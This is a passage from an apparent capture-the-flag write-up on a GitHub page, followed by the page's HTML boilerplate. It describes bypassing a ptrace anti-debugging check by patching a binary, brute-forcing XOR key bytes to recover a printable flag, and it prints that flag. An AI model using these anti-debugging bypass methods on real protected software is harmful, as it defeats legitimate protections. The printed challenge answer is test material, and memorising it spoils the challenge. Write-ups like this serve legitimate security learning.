and 4 first bytes in buffer 'xor_with_this' changes when ptrace will return 0 (no-debugger) I discovered that the result of function ptrace is next passed to some_long_function I patched binary to act like without debugger present all the time and updated first 4 bytes in my buffer 'xor_with_this' in cracker.c but again, I wasn't getting reasonable results, I wasn't getting any results as I remember
[here I spend a lot of time thinking what is wrong]
I discovered that when I withdraw my patch in binary, these first 4bytes makes 50% of flag ascii-readable, 4B from patched binary newer will be ascii-readable (it's only xor so it'not hard to conclude this)
I coded [script](cracker.py) in python which will print set of bytes in every position which will make flag printable
I modified my previos cracker to crack only bytes which are printed by my script in given position
[here](cracker2.c)
```b@eye:~/Desktop > ./cracker | wc -l188```
much better!
most legit string was ASIS{600d_j0b_y0u_4r3_63771n6_574r73d} and it was the flag
yep, sorry for quality of my code :D but although it works |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-notes/2016-securityfest.ctf.rocks at master · 73696e65/ctf-notes · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B322:C14D:2D08D51:2E165B5:6412294C" data-pjax-transient="true"/><meta name="html-safe-nonce" content="cbd5b7bc45e3811f85a0623e7e086155964ca271dcff67a0f9d762cf3e1ac9d5" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMzIyOkMxNEQ6MkQwOEQ1MToyRTE2NUI1OjY0MTIyOTRDIiwidmlzaXRvcl9pZCI6IjUzOTIzNTUxNTQzMjEzNTMwMzYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="9ab6be2db1065008db81e1f7f8f8c994692bbf3739a7d972d4db9ec024de4f8c" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:66079706" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 73696e65/ctf-notes development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f614a3fdda4b22d16fde61e5e6e23d316445fac8571c363512730df90c7ddb81/73696e65/ctf-notes" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-notes/2016-securityfest.ctf.rocks at master · 73696e65/ctf-notes" /><meta name="twitter:description" content="Contribute to 73696e65/ctf-notes development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f614a3fdda4b22d16fde61e5e6e23d316445fac8571c363512730df90c7ddb81/73696e65/ctf-notes" /><meta property="og:image:alt" content="Contribute to 73696e65/ctf-notes development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-notes/2016-securityfest.ctf.rocks at master · 73696e65/ctf-notes" /><meta property="og:url" content="https://github.com/73696e65/ctf-notes" /><meta property="og:description" content="Contribute to 73696e65/ctf-notes development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/73696e65/ctf-notes git https://github.com/73696e65/ctf-notes.git">
<meta name="octolytics-dimension-user_id" content="406276" /><meta name="octolytics-dimension-user_login" content="73696e65" /><meta name="octolytics-dimension-repository_id" content="66079706" /><meta name="octolytics-dimension-repository_nwo" content="73696e65/ctf-notes" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="66079706" /><meta name="octolytics-dimension-repository_network_root_nwo" content="73696e65/ctf-notes" />
<link rel="canonical" href="https://github.com/73696e65/ctf-notes/tree/master/2016-securityfest.ctf.rocks" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
